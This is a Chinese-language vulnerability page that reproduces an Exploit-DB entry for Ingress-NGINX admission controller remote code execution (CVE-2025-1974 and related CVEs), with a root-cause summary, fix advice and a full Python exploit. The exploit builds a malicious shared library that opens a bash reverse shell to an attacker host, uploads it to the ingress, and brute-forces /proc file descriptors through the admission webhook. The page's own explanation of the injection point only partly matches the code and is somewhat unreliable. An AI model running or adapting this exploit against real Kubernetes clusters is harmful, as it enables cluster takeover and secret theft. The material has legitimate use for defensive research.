[remote] Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
Ingress-NGINX Admission Controller因未充分校验AdmissionReview请求中的object/oldObject字段,导致文件描述符注入实现远程代码执行。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2025-1097CVE-2025-1098CVE-2025-24514CVE-2025-1974 |
|---|---|
| 漏洞类型 | 文件描述符注入到远程代码执行 |
| 受影响版本 | Ingress-NGINX v1.11.1及之前版本(所有在v1.12.0之前的分支) |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-02-04 |
| 提交者 | Beatriz Fresno Naumova |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
Admission Controller在处理AdmissionReview请求时,对object和oldObject字段中的输入(特别是Ingress资源中的annotation、路径配置等)未进行严格的类型校验和过滤,直接将其传递给后端的nginx模板渲染,导致攻击者可以通过注入文件描述符(如/dev/fd/)或特殊路径来触发任意文件读取和模板执行,最终实现RCE。
🎯 攻击场景
1. 攻击者拥有对Kubernetes集群中Ingress资源的创建或更新权限。 2. 构造一个恶意的AdmissionReview请求,在Ingress的annotation(如nginx.ingress.kubernetes.io/rewrite-target)或spec.rules.http.paths.path字段中注入`/dev/fd/0`等文件描述符路径。 3. 请求被发送到Admission Controller(通常通过ValidatingWebhookConfiguration触发)。 4. Controller将注入的路径传递到底层nginx模板渲染函数(如`ingress-nginx/internal/ingress`包中的`Ingress.RewriteTarget`等处理逻辑)。 5. 模板渲染时,`/dev/fd/0`等被解析为已打开的文件描述符,导致nginx读取并执行攻击者控制的数据,从而在Controller进程中执行任意命令。 6. 成功后,攻击者可在Controller容器中执行任意命令,横向移动或窃取机密。
💥 漏洞影响
远程代码执行(RCE),攻击者可在Ingress-NGINX Admission Controller容器中执行任意命令,进而可能控制整个Kubernetes集群(因为controller通常有较高的集群权限)。
⚔️ 原始 PoC
PoC重点是利用Ingress资源中的`spec.rules[].http.paths[].path`字段,设置值为`/dev/fd/0`或其他文件描述符编号(如`/dev/fd/123`)。攻击者需先通过某种方式(如其他漏洞或容器日志)向Controller进程中注入恶意数据(如bash reverse shell payload)到某个文件描述符中,然后Ingress配置使得Controller读取该fd并执行。核心是路径校验缺失,导致nginx template解析时直接将`/dev/fd/X`当成普通文件路径去open,从而触发对已打开fd的读取。
# Exploit Author: Beatriz Fresno Naumova
import os
import sys
import socket
import requests
import threading
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# --- Embedded malicious shared object template ---
MALICIOUS_C_TEMPLATE = """
#include <stdlib.h>
__attribute__((constructor))
void run_on_load() {
system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
}
int bind(void *e, const char *id) {
return 1;
}
void ENGINE_load_evil() {}
int bind_engine() {
return 1;
}
"""
def compile_shared_library(host, port, output_file="evil_engine.so"):
c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port))
with open("evil_engine.c", "w") as f:
f.write(c_code)
print("[*] Compiling malicious shared object...")
result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")
if result == 0:
print("[+] Shared object compiled successfully.")
return True
else:
print("[!] Compilation failed. Is gcc installed?")
return False
def send_brute_request(admission_url, json_template, proc, fd):
print(f"[*] Trying /proc/{proc}/fd/{fd}")
path = f"proc/{proc}/fd/{fd}"
payload = json_template.replace("REPLACE", path)
headers = {"Content-Type": "application/json"}
url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}")
def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5):
try:
with open(json_file, "r") as f:
json_data = f.read()
except FileNotFoundError:
print(f"[!] Error: {json_file} not found.")
return
print("[*] Starting brute-force against the admission webhook...")
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(1, max_proc):
for fd in range(3, max_fd):
executor.submit(send_brute_request, admission_url, json_data, proc, fd)
def upload_shared_library(ingress_url, shared_object="evil_engine.so"):
try:
with open(shared_object, "rb") as f:
evil_payload = f.read()
except FileNotFoundError:
print(f"[!] Error: {shared_object} not found.")
return
parsed = urlparse(ingress_url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"[!] Failed to connect to {host}:{port}: {e}")
return
fake_length = len(evil_payload) + 10
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: qmx-ingress-exploiter\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n\r\n"
).encode("iso-8859-1")
print("[*] Uploading malicious shared object to ingress...")
sock.sendall(headers + evil_payload)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Server response:\n")
print(response.decode(errors="ignore"))
sock.close()
def main():
if len(sys.argv) != 4:
print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
sys.exit(1)
ingress_url = sys.argv[1]
admission_url = sys.argv[2]
rev_host_port = sys.argv[3]
if ':' not in rev_host_port:
print("[!] Invalid format for rev_host:port.")
sys.exit(1)
host, port = rev_host_port.split(":")
if not compile_shared_library(host, port):
sys.exit(1)
# Send the malicious shared object and keep the connection open
upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))
upload_thread.start()
# Simultaneously brute-force the admission webhook for valid file descriptors
brute_force_admission(admission_url)
if __name__ == "__main__":
main()🛡️ 修复建议
升级到Ingress-NGINX v1.12.0或更高版本(包含修复)。临时缓解:限制Ingress资源的创建/更新权限仅授予信任用户;在Admission Webhook侧增加输入校验,拒绝包含`/dev/fd`、`/proc/self/`等特殊路径的请求。
📎 参考链接
- https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.0
- https://www.cve.org/CVERecord?id=CVE-2025-1097
- https://www.cve.org/CVERecord?id=CVE-2025-1098
- https://www.cve.org/CVERecord?id=CVE-2025-24514
- https://www.cve.org/CVERecord?id=CVE-2025-1974
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 06:30 | 来源: Exploit-DB